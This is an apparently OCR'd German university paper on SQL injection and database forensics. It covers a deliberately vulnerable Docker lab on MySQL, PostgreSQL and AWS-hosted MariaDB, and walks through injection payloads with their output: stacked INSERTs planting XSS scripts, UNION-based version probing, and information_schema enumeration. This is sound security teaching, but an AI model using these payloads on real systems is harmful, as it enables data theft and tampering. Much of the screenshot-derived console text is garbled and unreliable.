5216 Bioethik Russel 2
5259 Der Wiener Kreis Popper 2

Befehl: '; INSERT INTO Vorlesungen VALUES (1,'<script>alert("Achtung, wir haben jetzt die
Macht!")</script>',3, 4); --

4 X 0 @ 127.00./vorlesungen?search=%27%38+INSERT +INTO+ Vorlesungen +VALUES +%281%2C%27 <script>alert%28* Achtung%2C +wir+haben+jet.. | T8 A » B

Auf 127.0.0.1 wird Folgendes angezeigt:

Achtung, wir haben jetzt die Macht!
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2.6.2 PostgreSQL

Befehl: '; insert into vorlesungen values (1234, '<script>alert("Busted")</script>', 1, null); SELECT *
FROM vorlesungen; --

Beim ersten Versuch einen Code einzuschleusen, um einen Alert zu provozieren, wird eine
Fehlermeldung mitgeteilt:

sqlalchemy.exc.DataError

sqlalcheny. exc.DataError: (psycopg2.ercors.StringDataRightTruncation) value too long for type character varying(3e)

[SQL: SELECT v.Vorlir, v.Titel, p.Name, v.SKS FROM gen v LEFT J0IN poON v = p.Persnr WHERE v.Titel LIKE '$%'; insert into vorlesungen values (1234, '<scriptralert("Busted”)</sceipts>®, 1, null); SELECT * FROM
vorlesungen; --X%' ORDER BY v.Titel
(Background on this error at: http://sqlalche.ne/e/13/9hoh)

-packages /sqlaichemy/engine /base.py’, line 1277, In_execute_context

Ichemy engine default.py’, line 593, in do_execute

Der eingeschleuste Programmcode ist zu lang fiir die Spalte (maximal 30 Zeichen) — Entsprechend wird
fiir das Beispiel der anzuzeigende Text auf : Hi! Gekdrzt.

Befehl: '; insert into vorlesungen values (1234, '<script>alert("Hi")</script>', 1, null); SELECT * FROM
vorlesungen; --

n @ 127.0.0.1/vorlesungen?search=%27%3B +insert+into+vorlesungen+values+%281234%2C+%27 <script > alert%28"Hi%21"%29 <%2Fscript>%27%2C + 1%2C+... @ A

Auf 127.0.0.1 wird Folgendes angezeigt:

Hit

Damit funktioniert das Einschleusen von Programmcode.
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3. Auswahl lokaler und Cloud DBs

Fir die SQL-Injection an den eigenen Datenbanksystemen wurden fiir die lokale Installation MySQL
und PostgreSQL gewahlt, da diese bereits im Modul Datenbanken | fir die Erstellung eines eigenen
Datenbankmanagementsystems (Impfdatenbank) genutzt wurden. Als Cloud-Lésung war wie im
vorherigen Modul ein DBMS mit Oracle angedacht, jedoch kam es zu Einschrankungen und
Schwierigkeiten bei den Versuchen SQL-Injection Angriffe auf die Datenbank durchzufiihren.

3.1 Cloud - MariaDB

Im Modul , Datenbanken I: Grundlage von DBS” verwendeten wir fiir unsere Cloud DBS Instanz eine
vorgefertigte Umgebung (Amazon Machine Image AWS) einer Oracle 18c XE Datenbank mit Oracle
APEX 18C auf einem Linux CentOS 7 Betriebssystem. Dieses vorgefertigte System war fir den
damaligen Anwendungsfall ideal, allerdings ist diese Art von vorgefertigter Umgebung grundsatzlich
dafur angedacht Applikationsentwicklung und Applikationsanalysen hiermit zu betreiben. Das
Datenbanksystem von Oracle lasst sich im damals ausgewahlten Typen zum liberwiegenden Grofteil
Uber eine Web-Schnittstelle konfigurieren und verwalten. Das zugrundeliegende Betriebssystem war
sehr eingeschrankt konfigurierbar und der direkte Zugriff auf Transaktions-, Archive- und weitere
wichtige DBS und Systemlogs erfolgte Gber die Weboberflache. Auf Kommandozeilenebene des Linux
Betriebssystems waren nur marginale Konfigurationen und Zugriffe auf Stati des Systems oder des DBS
moglich.

Dariber hinaus war die damalig genutzte Oracle Umgebung in der Grundkonfiguration bereits gehartet
und auf einem hohen Sicherheitsniveau. Der GroRteil der zu erlernenden SQL-Injection
Vorgehensweisen ware gescheitert, da die Grundkonfiguration im Kontext der Sicherheit bereits so
ausgepragt war, dass die Nutzung von praparierten SQL Statements und gespeicherter Prozeduren
unterbunden wird. Ferner wird eine sog. ,Allow-Liste” zur Eingabe-Validierung genutzt, um zu
verhindern auf unzuldssige oder unerlaubte Parameter der DB zuzugreifen. Ebenfalls werden
Nutzereingaben durch die Sicherheitskonfiguration der Web-Schnittstelle fiir das Management oder
andere liber Web oder APl angebundenen Eingabemethoden durch einen Mechanismus gesichert, der
unzuldssige Nutzereingaben oder Statements Uberspringt, bzw. ignoriert (User Supplied Input
Escaping).

Da sich die vorhergehend ausgewadhlte Oracle Umgebung in der Cloud seitens der Sicherheitsstandards
und der im Zugriff eingeschrankten Umgebung als suboptimal fiir das Modul ,,Datenbanken II: Forensik
in DBS” herausgestellt hat, haben wir uns flir das Datenbanksystem MariaDB, in der Version 10.6.5,
auf einem Ubuntu Linux LTS Server-Betriebssystem in der Version 20.04 entschieden.
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3.2 Anpassung Hauser-Umgebung

Da uns die Docker-Umgebung von Herrn Hauser sehr gefallen hat, haben wir uns dazu entschlossen,
die Umgebung auf unsere DBMS der Impfdatenbank anzupassen. Dafilir mussten einige Dateien neu
erstellt/kopiert und angepasst werden. Um Anderungen in der PostgreSQL-Datenbank vornehmen zu
kénnen, wurde wie in Abschnitt 1 der Vorbereitung auf die Beispiele, ebenfalls in der Datei app.py der
Zusatz isolation_level="AUTOCOMMIT" in Zeile 10 hinzugefiigt.

Es folgt eine Auflistung der Dateien fir die Anpassung:

- Anpassung docker-compose.yaml

- Kopieren von vorlesung.html und Anpassung auf patienten.html

- Kopieren von vorlesung.html und Anpassung auf impfungsort.html

- Anpassung von template.html

- Anpassung von SQL-Dateien fiir Erstellung von Tabellen und Einfligen von Daten
- Anpassung von app.py

- Anpassung von home.html

AnschlieBend konnte die Umgebung fiir die SQL-Injection Beispiele auf den lokalen DBMS gestartet
werden.

Ubersicht Datenbankschema in Docker-Umgebung

Arzte
arzt_jd INTEGER
impfvorfall vorname  CHARACTER VARVING(D)
varall _id SERIAL nachname  CHARACTER VARYING(AD)
vertaliart CHARAGTER VARYING(255) fachiichtung enum_fachiichtung
impfungs_id  INTEGER titel enum_titel
folgsbehandiung enum_folgebehandlung impfteams
ersthelfer INTEGER rud impfteam id SERIAL
o o o T
wothelier  INTEGER A |~ arznefferid SERIAL
jon INTEGER A vorname  CHARAGTER VARYING(40)
S rachname  CHARAGTER VARYING(40)
— ausbildung  enum_ausbildung
impforganisation
| " imptorgarisation_id SERIAL
CHARACTER VARYING(E0)
GHARAGTER VARYING(150)
hausnummer CHARACTER VARYING(10)
plz INTEGER A —
telston CHARACTER VARYING(30)
impfstoff
imptstoft_id SERIAL impfhestand
charge INTEGER 2 id SERIAL
impfung otwendige_impfungen L T A imptstofiart ]
impfungs_id SERIAL nichste_impfung_frihestens INTEGER imptstofihersteller  enum_hessteller
team_id INTEGER 2 nachste_impfung_spatestens INTEGER imptstottname enum_name
impfstaft_id INTEGER 2 nachste_impfung_empfohlen INTEGER anzahl INTEGER
impfort_id INTEGER FJ lagerungsan enum_I_art
datum DATE verfallsdatum DATE
patienten_jd CHARACTER VARYING A [
zustand enum_zustand impfungsort
wie_vielte_impfung enun_w_v_impfung
bestafigungsart  enum_b_art impfungsort jd SERIAL
name_impfort  CHARACTER VARYING(150)
art CHARAGTER VARYING(150)
patienten adresse CHARACTER VARYING{150)
L i CHARAGTER hausnummer  CHARACTER VARYING(10)
nachname CHARAGTER VARYING(4D) plz INTEGER 2
vorname CHARACTER VARYING(40) jeleren) CRRRACTE AAVARYIN S]]
geburtsdatum DATE N
postleitzahlen
geschlecht enum_geschlecht
ST TR e D krankenversicherung = pl= INTEGER
covid19_vorinfekt  enum_e18_vorinfekt rummer  INTEGER e CHARACTER VARYING(100)
priogruppe enum_priagruppe kv_name  CHARACTER VARYING(100) bundesiand CHARAGTER VARYING(1a0)
krankenversicherung INTEGER » adresse  CHARAGTER WARVING(1SD)
adresse CHARAGTER VARVING{15D) hausnummer CHARACTER VARYING(10)
hausnummer CHARACTER VARYING(10) piz INTEGER »
piz INTEGER v bundesiand  enum_bundesland
e_mail CHARACTER VARYING(255) —‘ telefon CHARACTER VARYING(30)
telefon CHARAGTER
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3.3 Installation und Konfiguration der Cloud Datenbankinstanz MariaDB in AWS

Nachdem ein Cloudkonto fir das Hosting der Cloud-Datenbankinstanz eingerichtet wurde und die
initialen Einfihrungen und Vorbereitungen abgeschlossen waren, wurde Uber das ,,EC2“ (AWS Elastic
Cloud Dashboard) und den ,AMI“ (Amazon Machine Image) Katalog die gewiinschte Plattform
ausgewahlt. In diesem Fall haben wir uns flr ein Linux Ubuntu LTS Server-Betriebssystem in der Version
20.04 entschieden.

Hewr EC2 Experionca
© £ x EC2 3 AMKatalng

2

AMI-Katalog

tc2n
[
Ersign C

o

sttt | momin | s ot ——

verfeinern
ubunty®  Ubumtu Server 20.04 LTS (UM, S5 Volume Type
sburie =
P —
wbunc® =
bt =
el ©Q 6a-Br (x86)

Nach der Auswahl der Plattform wurde die Konfiguration des Instanz-Typen vorgenommen. Der
Instanz-Typ ist beim Cloud-Anbieter Amazon AWS die Performanz-Spezifikationen der Maschine.

Famtse 3 woeus (1 - i B spmirtvarugear (|

vt urmansmng (|
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3. Auswahl lokaler und Cloud DBs

Im Anschluss wurden die Instanz-Details des Cloud Datenbanksystems konfiguriert:

1. Choose AMI ypauswdhlen  3.Configureinstanceaus 4. Speicher hinzufiigen 5. Tags hinzufliges 6. Configure Security Group aus 7. Prfes

Schritt 3: Konfigurieren von Instance-Details

Konfigurleren Sie die Instance entsprechend Ihren Anforderungen. Sie kénnen mehrere Instances von demselben AMI aus starten, Spot-Instances anfordern, um von niedrigeren Preise zu profitieren, der Instance eine Zugriffsverwaltungsrolle zuweisen und vieles mehr

Anzahl der Instances (| 1 In Auto Scaling-Gruppe starten (i
Kaufoption Spot-instances anfordern
Netzwerk  (j vpe-D94e4e85456695cac (Standard) 4 C Neue VPC erstellen

Subnetz (i subnet-Oe53d439cc0be0a?d | Standard in eu-central 3
4091 |P-Adressen verfugbar

Offentliche IP automatisch zuweisen (| Subnetz-Einstellung verwenden (Aktivieren) 4

Hostname-Typ SubnetzEinstellung verwenden (IP-Name) +

DNS Hostname (i

& aktivieren von ressourcenbasierten IPv4-DNS: 1 (A-Datensatz)
Platzierungsgruppe (i O Instance der Platzierungsgruppe hinzufigen
Kapazitétsreservierung (i Btfnen k]
Doménen-Verbindungsverzeichnis (i Kein Verzeichnis : O Hewes Verzeichinio
anlegen
1AM-Rolle Keine 4 C NeuelAMRolle erstellen
Beendigungsverhalten (i Stopp 4
Stopp - Verhalten im Ruhezustand Aktivieren Sie den Ruhezustand als zuséitzliches Stoppverhalten
Aktivieren des Beendigungsschutzes ) Schutz gegen versehentliches Beenden
Oberwachung Aktivieren der detaillierten Uberwachung fiir CloudWatch

Es fallen z zliche Gebiihren an

genutzt - Ausfiihren einer gemeinsam g %
Fiir eine Dedicated Tenancy fallen zusétzliche Gebiihren an

Guthabenspezifikation | § OUnbegrenzt
Es konnen zusatzliche Gebiihren anfallen

Dateisysteme (i C' Meues Dateisystem erstellen

* Netzwerkschnittstellen i
Geriit  Netzwerkschnitistelle Subnetz Primére IP Sekundire IP-Adressen IPv&-IPs.

ethd  [Neue Metzwerkschnitt v]  subnet-Oes

Automat!

IP hinzufGigen Das ausgewshite Subnetz unterstiitzt IPv6
nicht, da es keinen IPv6-CIDR hat

Gerit hinzufiigen

v Erweiterte Details

Enclave (j O Aktivieren
Zugriff auf Metadaten (| Aktiviert -
Metadatenversion (i V1 und V2 (Token optional) 4
Limit filr Metadaten-Token-Antwort-Hop 1 -
Allow tags in metadata (i Deaktiviert E
Benutzerdaten ® als Text O Als Datei [ Die Eingabe ist bereits base64-kodiert

Einer der letzten Schritte ist die Konfiguration des Festplattenspeichers, welcher der Instanz
zugeordnet wird:

1.Choose AMI 2. Instance-Typ auswahlen

4.Speicher hinzufigen 5. Tags hinzufugen 6. Configure Security Group aus Prifen

Schritt 4: Speicher hinzufiigen

Ihre Instance wird mit den folgenden Speichergeriteeinstellungen gestartet. Sie kénnen zusitzliche EBS-Volumes und Instance-Speicher-Volumes an Ihre Instance
anfligen oder die Einstell des S il Sie konnen auch nach dem Starten einer Instance weitere EBS-Volumes anfiigen, jedoch keine
Instance-Speicher-Volumes. Weitere Informationen zu Speicheroptionen in Amazon EC2.

Volume-Typ (i Geriit (i Snapshot (i GraBe (GiB) (i Volume-Typ (i 10PS (i

Durchsatz (MB/S) i geenden oschen (1) Verschidsselung (i

Root /dev/sdal snap-0868b25604cf2e3d0 8 Allzweck-SSD (gp2) v| 100/3000 - Unverschlisselt -

Neues Volume hinzufiigen

Kunden, die zur Nutzung eines kostenlosen Kontingents berechtigt sind, kénnen einen EBS-AIl; k- (SSD)- oder Magnet-Speicher von bis zu 30 GB

erhalten. Weitere uber die und N fiir das

~ Shared file systems ‘i

You currently don't have any file systems on this instance. Select "Add file system" button below to add a file system

Add file system
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3. Auswahl lokaler und Cloud DBs

Nun wird noch eine Sicherheitsgruppe definiert, um im Anschluss eingehenden und ausgehenden
Netzwerkverkehr auf bestimmten Ports zu erméglichen:

EC2 > Sicherheitsgruppen > sg-0451333d2b8dde361 - Stratos AWS DB Security Group

sg-0451a33d2b8dde361 - Stratos AWS DB Security Group

Details
Name ¢ rheitsgruppe Sicherhaitsgruppen-ID
9 stratos AWS DB Security Group & 59-04512330208dde 361

Bositzer Anzah! der Regeln fir eingehenden Datenverkehr
69 985994724361 10 Berechtigungseingaben
Regeln filr eingehenden Datenverkehr Regeln fir ausgehenden Datenverkehr |  Tags

Beschreibung

@ sicherhitsgruppe DE2 Forensik Datenbankenzugrif

Anzahl der

1 Berechtigungseingabe

jeln fiir ausgehenden Datenverkehr

VeCID

Aktionen ¥

O vpc-09dedessas6s9scac [2

@ Sie kinnen jetzt die Netzwerkkonnektivitit mit Reachability Analyzer iberpriifen.

Reachability Analyzer ausfiihren

Regeln fiir eingehenden Datenverkehr (10)

Q

Name v 1D der Sicherheitsg... ¥ IP-Version v Tvp v Protokoll

sgr-0feef37701b50c0df Benutzerdefiniertes TCP TP
154dch2c7 Fle36ec SsH TP
5gr-04¢136b7517d75de3 HTTP, TP
HTTPS Tcp

1P
[
[
524815952032f1d6 P
[
[
[
[
[
[

”
4
4
4

va
”
”
4
4
4

032780005510C5... Icme
791b3c75a25¢00 TeP
4827 7bb62d 34, Benutzerdefiniertes TCP TP
PostgreSQL TP
5gr-00d4481760beg0... Benutzerdefiniertes TCP TP
Sgr-0f6b06af 2a208ee 15 Benutzerdefiniertes TCP Tcp

v Portbereich

Quelle
00.0.0/0
0.0.0.0/0
000.0/0
00.0.0/0
0000/0
00.0.0/0
00.0.0/0
0.0.0.0/0
000.0/0
00.0.0/0

=

Regeln fir eingehenden Datenverkehr bearbeiten |

Beschreibung

@

Zuletzt wird noch ein SSH-Key fiir den Zugriff auf die Cloud Instanz erstellt und heruntergeladen, damit
der Zugriff und die Verwaltung des Betriebssystems moglich sind. Nun kann die Instanz gestartet

werden.
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X

Wahlen Sie ein vorhandenes Schliisselpaar aus oder erstellen Sie ein

neues Schliisselpaar

LI OUIUSSCipadl DESLTIHIL aus THICHT UHRHUIGHTH OUHIUSSEL, UTH AVVO SpLiIvtici L, uliu et voii el
gespeicherten Privatschliisseldatei. Zusammen ermdglichen sie [hnen, eine sichere Verbindung zu
Ihrer Instance herzustellen. Bei Windows-AMls ist die Privatschliisseldatei erforderlich, um das
Kennwort zu erhalten, mit dem Sie sich bei Ihrer Instance anmelden. Bei Linux-AMIs konnen Sie mit
der Privatschliisseldatei tiber SSH sicher auf Ihre Instance zugreifen. Amazon EC2 unterstiitzt Paare
mit ED25519- und RSA-Schliisseln.

Hinweis: Das ausgewabhlte Schliisselpaar wird dem fiir diese Instance autorisierten Schliisselsatz
hinzugefiigt. Weitere Informationen iber das Entfernen vorhandener Schliisselpaare aus einer
offentlichen AMI.

| Ein neues Schliisselpaar erstellen v
Typ des Schliisselpaars

ORSA @ ED25519

Schliisselpaarname

[Stratos_AWS_SSH_Key| |

Schliisselpaar herunterladen

Sie miissen die private Schliisseldatei (*.pem-Datei) herunterladen, bevor Sie
fortfahren konnen. Speichern Sie sie an einem sicheren und zugéanglichen Ort. Sie
konnen die Datei nicht erneut herunterladen, nachdem sie erstellt wurde.

Abbrechen

otalfiten aer Instances
NP SRS R SO POV S,

Nach kurzer Zeit steht das Linux Ubuntu Betriebssystem zur Verfiigung und kann konfiguriert werden,
um so das Datenbanksystem aufzusetzen. Die erforderliche Konfiguration des Betriebssystems fiir
dynamische DNS-Einstellungen, IP-Einstellungen, Hostnamen, etc. werden nicht weiter vertieft, da
diese auRerhalb des Spektrums dieser Arbeit liegen.

Um das Cloud-Datenbanksystem analog zu den beiden lokalen Systemen MySQL, und PostgreSQL zu
konfigurieren, wurde eine Docker Umgebung installiert damit eine angepasste Version der Docker
Umgebung von Herrn Hauser ebenfalls in der Cloud lauffahig und tiber das Internet in vollem Umfang
aufrufbar ist.
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Hierzu wurde zunachst ein Update des Betriebssystems durchgefiihrt:

ubuntu@ip-172-31-2-72:/home$ sudo apt-get update

Hit:1 http://eu-central-1.ec2.archive.ubuntu.com/ubuntu focal InRelease
http://eu-central-1.ec2.archive.ubuntu.com/ubuntu focal-updates InRelease [114 kB]
http://eu-central-1.ec2.archive.ubuntu.com/ubuntu focal-backports InRelease [108 kB]
http://security.ubuntu.com/ubuntu focal-security InRelease [114 kB]
http://eu-central-1.ec2.archive.ubuntu.com/ubuntu focal/universe amd64 Packages [8628 kB]
http://eu-central-1.ec2.archive.ubuntu.com/ubuntu focal/universe Translation-en [5124 kB]

Get:7 http://eu-central-1.ec2.archive.ubuntu.com/ubuntu focal/universe amdé4 c-n-f Metadata [265 kB]
http://eu-central-1.ec2.archive.ubuntu.com/ubuntu focal/multiverse amd64 Packages [144 kB]
http://eu-central-1.ec2.archive.ubuntu.com/ubuntu focal/multiverse Translation-en [104 kB]
0 http://eu-central-1.ec2.archive.ubuntu.com/ubuntu focal/multiverse amd64 c-n-f Metadata [9136 B]

Get 11 ttg //eu-central-1.ec2. archlve ubuntu.com/ubuntu focal updates/maln amd64 Packages [1572 kB]

ubuntu@ip-172-31-2-72:/home$ sudo apt upgrade

Reading package lists... Done

Building dependency tree

Reading state information... Done

Calculating upgrade... Done

The following NEW packages will be installed:
linux-aws-5.11-headers-5.11.0-1028 linux-headers-5.11.0-1028-aws linux-1image-5.11.0-1028-aws linux-modules-5.11.0-1028-aws

The following packages will be upgraded:
bsdutils busybox-initramfs busybox-static command-not-found fdisk initramfs-tools initramfs-tools-bin initramfs-tools-core libblkidl U
libpolkit-gobject-1-0 libpython3.8 libpython3.8-minimal libpython3.8-stdlib libseccomp2 libsmartcolsl libssl1.1 libsystemd® libudevl |
openssh-sftp-server openssl policykit-1 python3 commandnotfound python3-update-manager python3.8 python3.8-minimal snapd sosreport sys|
uuid-runtime vim vim-common vim-runtime vim-tiny xxd

59 upgraded, 4 newly installed, © to remove and 0 not upgraded.

38 standard security updates

Need to get 107 MB of archives.

After this operation, 228 MB of additional disk space will be used.

Do you want to continue? [Y/n] Y

Get:1 http://eu-central-1.ec2.archive.ubuntu.com/ubuntu focal-updates/main amd64 bsdutils amd64 1:2.34-0.1ubuntu9.3 [63.0 kB]

Im Anschluss daran wurde die Docker Umgebung installiert:

ubuntu@ip-172-31-2-72:/home$ sudo apt-get install docker-ce docker-ce-cli containerd.io
Reading package lists... Done
Building dependency tree
Reading state 1in 0
The following addltlonal packages will be installed:
docker-ce-rootless-extras docker-scan-plugin pigz slirpdnetns
Suggested packages:
aufs-tools cgroupfs-mount | cgroup-lite
The following NEW packages will be installed:
containerd.io docker-ce docker-ce-cli docker-ce-rootless-extras docker-scan-plugin pigz slirpdnetns
0 upgraded, 7 newly installed, © to remove and 0 not upgraded.
Need to get 97.2 MB of archives.
After this operation, 409 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y
Get:1 http: //eu central-1.ec2. alchlve ubuntu.com/ubuntu focal/universe amd64 pigz amd64 2.4-1 [57.4 kB]
: H bu buntu focal/universe amd64 slirpdnetns amd64 0.4.3-1 [74.3 kB]

Dariber hinaus ist noch die docker-compose Bibliothek erforderlich:

ubuntu@db2-forensik-hh10:~/docker$ sudo apt install docker-compose
Reading package lists... Done
Building dependency tree
Reading state information... Done
Recommended packages:
docker. io
The following NEW packages will be installed:
docker-compose
0 upgraded, 1 newly installed, 0 to remove and 4 not upgraded.
Need to get 92.7 kB of archives.
After this operation, 667 kB of additional disk space will be used.
Get:1 http://eu-central-1.ec2.archive.ubuntu.com/ubuntu focal/universe amd64 docker-compose all 1.25.0-1 [92.7 kB]
Fetched 92.7 kB in 0s (2726 kB/s)
Selecting previously unselected package docker-compose.
(Reading database ... 102045 files and direc ies currently installed.)
Preparing to unpack .../docker-compose_1.25.0-1_all.deb
Unpacking docker-compose (1.25.0-1)
Setting up docker-compose (1.25.0-1)
Processing triggers for man-db (2.9.1-1)
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3. Auswahl lokaler und Cloud DBs

Um Anderungen an der Datenbank nachvollziehbar zu machen und spater forensische Analysen zu
ermoglichen, ist es erforderlich die Protokollierung in MariaDB zu aktivieren, da dies in der
Standardkonfiguration nicht aktiv ist.

Fiir die Einrichtung der Protokollierung in MariaDB miussen einige vorbereitende MaRnahmen
durchgefihrt werden, da im Gegensatz zu der Konfiguration der beiden lokalen Datenbanken eine
andere Vorgehensweise fir die Protokollierung gewahlt wurde. In der Docker Umgebung wurden zwei
weitere Volumes fiir den MariaDB Container bereitgestellt. Diese beiden Volumes wurden auf das
Host-Betriebssystem aus dem Container gemappt und stellen Konfigurationsdateien und die Protokoll
Dateien, die im Container enthalten sind, bereit. Dies ermoglicht spater eine Liveprotokollierung von
Transaktionen, Anderungen an der DB, aufkommenden Fehlern, etc.

Folgende Parameter wurden hierfir in der Datei docker-compose.yaml hinzugefiigt:

- mariadb-log:/var/log/mysql # Protokoll Volume im MariaDB Container

- mariadb-conf:/etc/mysql/mariadb.conf.d/ # Konfig. Volume im MariaDB Container

mariadb-log:

mariadb-conf:

ugwn=mysql_native password --:

adminer
t: on-failure

180806
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Da nun die Vorbereitungen abgeschlossen sind, wurde die angepasste Umgebung auf die Maschine
transferiert und im Anschluss die angepasste Docker Umgebung gestartet und auf Funktionalitat
gepruft:

ubuntu@db2-forens ik-hh10:~/docker$ sudo docker-compose
network “"docker_default” with the default driver
lume "docker_mysql-data” with default driver
"docker_postgres-data” with default driver
"docker_mariadb-data" with default driver
docker_mariadb_1
docker_app_1
docker_postgres_1 .
docker_adminer_1

docker_adminer_1, docker_mysql_1, docker_app_1, docker_postgres_1
2lopment Server (htt 80) started

2022-02-15 14: [Entrypoint] Entrfpc\nt script for MariaDB Server 1:10.6.5+maria~focal started.

2022-02-15 :56: ypoin t ‘mysql’

2022-02-15 :56: ypo i u‘nt scﬂpt ful MariaDB Server 1:10.6.5+maria~focal started.

2022-02-15 14:56:33 U 1zing database files

2022-02-15 :56:33 5 ] [Entrypoint] Entr vDO‘ﬂt script for QL .;euel 8.0.28-1debian10 started.

The files belonging to this database system will be owned by user postgle .

This user must also own the server process.

The database cluster will be initialized with locale "en_US.utf
The default database encoding has accordingly been set to "UT
The default text search configuration will be set to "english".

Data page checksums are disz

fixing permissions on existi ng directory /var/lib/postgresql/data ...
creating subdirectories ...
selecting dynal plementation ... posix
2022-02-15 56 : [Entrypoint] 1 ing to dedicated user '
ypoint script for 8.0.28-1debian10 started.

2022-02-15 14:56 0 ‘default- authent\(a on- p'lugln MySQL 5.6 / 5.7 compatible option Tu be implemented in later versions.
2022-02-15 14:56: 0 [Wa ] You need to use --log-bin to make -log s or - 1 g is work.
selecting default shared_| huffels ... 128MB
selecting default time zone ... Etc/UTC
eat configuration files . L
2022-02-15 14:56 8 ¥ : Initializ 9 database files
2022-02-15T14:56 4 0 [W ] 0 10 ] 'default_authentication plugm s deprecated and will be removed in a future release
2022-02-15T14:56 5 [H\’ 014169 v / Yi 3.0.28) izing of server in progress as process 42
2022-02-15T14:56 . 1 [System] [MY- 014576_ [InnoDB] InnoDB initialization has started.
running bootstrap script ... ol
Installing dependencies from Pw.pfl.le.luck (379192)...
2022-02-15T14:56:34.913205Z 1 [System] [I‘W 013577] [InnoDB] InneDB initialization has ended.
performing post-bootstrap initialization ... ok

ubuntu@db2-forensik-hh10:~/docker$ sudo docker ps

CONTAINER ID  IMAGE COMMAND CREATED STATUS C NAMES

3c1a85d87b21 V& "docker-entrypoint.s..” seconds ago Up 3 seconds 3 / E " docker_mysql_1
adminer "entrypoint.sh dock seconds ago Up seconds .0.0. 8080/tcp, / docker_adminer_1
docker_app "bash -c 'pipenv 1ins. seconds ago Up seconds .0.0.0: >80/tcp, :::80->80/ docker_app_1
postgres:12 "docker-entrypoint.s.. seconds ago Up seconds / docker_postgres_1
mariadb:10 "docker-entrypoint.s..” seconds ago Up seconds .0.0.0:3307->3306/tcp, :::3307->3306/tcp docker_mariadb 1

4
3
4
3

A Nich - ttp://db2-forensik-hh10.ddns.net

SQL Injection HH10  Tabelle MariaDB

Herzlich Willkommen in der HH10-VM

Diese VM wurde durch die Gruppe HH10 am 01.02.2022 angepasst und auf unsere Bediirfnisse zugeschnitten.
Eine Anleitung zur Anpassung der VM wird in die Hausarbeit als Anlage beigefligt.

Bei allen Namen von Patienten, Arzten und Arzthelfern handelt es sich um fiktive Namen, welche mit einem Script per Zufall erstellt wurden.
Diese Demo Applikation basiert auf Python 3.8 und Flask.
Als Infrastruktur wird Docker mit docker-compose genutzt, um die Applikation, sowie ein MySQL und ein PostgreSQL Server zur Verfligung zu stellen.

Es wurde absichtlich auf ein ORM verzichtet und RAW SQL genutzt, um SQL Injections zu ermdglichen.
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4. 5 SQL-Injektion Beispiele und forensische Auswertung

Die Docker-Umgebung konnte auf die eigenen Bediirfnisse angepasst werden. Es wurde eine weitere
Tabelle (Impfungsort) und eine HTML-Datei hinzugefiigt.

4.1 Auslesen der Datenbank-Version
4.1.1 MysQL

Unter MySQL lasst sich die Datenbank-Version mit folgendem Befehl auslesen:

Befehl: ' union select @ @version; --

Die Ausfiihrung fiihrt zu folgender Fehlermeldung, da die Ausgabe der Spaltenanzahl noch falsch ist:

sqlalchemy.exc.DataError

sglalchemy.exc.DataError: (mysqgl.connector.errors.DataError) 1222 (21000): The used SELECT statements have a different number of columns
[SQL: SELECT Name Impfort, Ort, Rdresse, Hausnummer, PLZ FRCM Impfungscrt WHERE Name Impfort LIRE '%' union select @@version; --%' ORDER BY Name Impfort]

(Background on this error at: http://sglalche.me/e/13/9n8h)

Durch Ausprobieren kann die Anzahl der Spalten ermittelt werden. Die Tabelle enthalt 5 Spalten, bei

korrekter Angabe wird die Datenbank-Version ausgegeben:
Impfungsort
asd ' union select 1,2,3,4,@@version; --
Oort Wo Adresse Hausnummer PLZ
1 2 3 4 8.0.27

Die eingesetzte Version ist: 8.0.27
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4.1.2 PostgreSQL

Unter PostgreSQL kann die Version wie folgt direkt ausgelesen werden:

Befehl: '; SELECT VERSION(); --

Impfungsort
*; SELECT VERSIONY(); -~
Ort Wo Adresse Hausnummer PLZ

PostgreSQL 12.9 (Debian 12.9-1.pgdg110+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 10.2.1-6)
10.2.1 20210110, 64-bit

4.1.3 MariaDB (Cloud)

Das Auslesen der Datenbankversion in MariaDB wird wie folgt durchgefiihrt:

Befehl: ' union select @ @version; --

Durch die Ausfiihrung des oben genannten Befehls kommt es ebenfalls in MariaDB zu einem Fehler,
da die Spaltenanzahl zunachst nicht korrekt ist:

db2-forensik-hh10.ddns.net,

sqlalchemy.exc.DataError

sqlalchemy.exc.DataError: (mysql.connector.errors.DataError) 1222 (21000): The used SELECT statements have a different number of columns

[SQL: SELECT p.Nachname, p.Vorname, p.Geburtsdatum, k.KV_Name FROM Patienten p LEFT JOIN Krankenversicherung k ON p.Krankenversicherung = k.Nummer WHERE
k.KV_Name LIKE '%x ' union select @@version; --%' ORDER BY k.KV_Name]

(Background on this error at: http://sqlalche.me/e/13/9h%h)

Entsprechende Anpassungen der Spaltenanzahl fiir MariaDB miissen im Injection Befehl
vorgenommen werden:

Befehl: ' union select 1,2,3, @ @version; --

db2-forensik-hh10.ddns.net,

A 2 W -
SQL Injection HH10 - >

Patienten
: " union select 1,2,3, @@version; --
Nachname Vorname Geburtsdatum Krankenkasse
1 2 3 10.6.5-MariaDB-1:10.6.5+maria~focal

Ermittelte MariaDB Version: 10.6.5
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4.2 Ausspahen von Daten

Fiir die Informationsbeschaffung soll versucht werden die Daten aus der Datenbank auszuspahen.
Hiermit sollen Kenntnisse tiber den Aufbau der Datenbank, der Tabellen und der Spalten gewonnen
werden, um so im Anschluss die Inhalte auslesen zu kénnen.

4.2.1 MysQL

Zu Beginn werden alle Datenbanken aufgelistet:

Befehl: ' AND 0 UNION SELECT schema_name,0,0,0 FROM information_schema.schemata;

Patienten

* AND 0 UNION SELECT schema_name,0,0,0 FROM information_schema.schemata;
Nachname Vorname Geburtsdatum Krankenkasse

mysql 0 0 0

information_schema 0 0 0

performance_schema 0 0 0

sys 0 ] 0

impfung 0 0 0

Hierdurch konnte der Name der Datenbank ermittelt werden: impfung

Nun wird der Aufbau der Datenbank ,,impfung” ndher betrachtet/untersucht:

Befehl: ' AND O UNION SELECT 1,2,table_schema,table_name FROM information_schema.tables
WHERE table_schema = "impfung";
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Patienten

* AND 0 UNION SELECT 1,2,table_schema,table_name FROM infermation_schema.tables WHERE table_schema =

Nachname

Vorname

Geburtsdatum

impfung

impfung

impfung

impfung

impfung

impfung

impfung

impfung

impfung

impfung

impfung

impfung

So konnten alle Tabellennamen ermittelt werden.

Krankenkasse
Aerzte

Arzthelfer
Impfbestand
Impforganisation
Impfstoff
Impfteams
Impfung
Impfungsort
Impfvorfall
Krankenversicherung
Patienten

Postleitzahlen

Die Namen der Spalten kénnen anschlieBend wie folgt herausgefunden werden:

Befehl: ' AND 0 UNION SELECT 1,table_schema, table_name, column_name FROM
information_schema.columns WHERE table_schema = 'impfung’;

Patienten

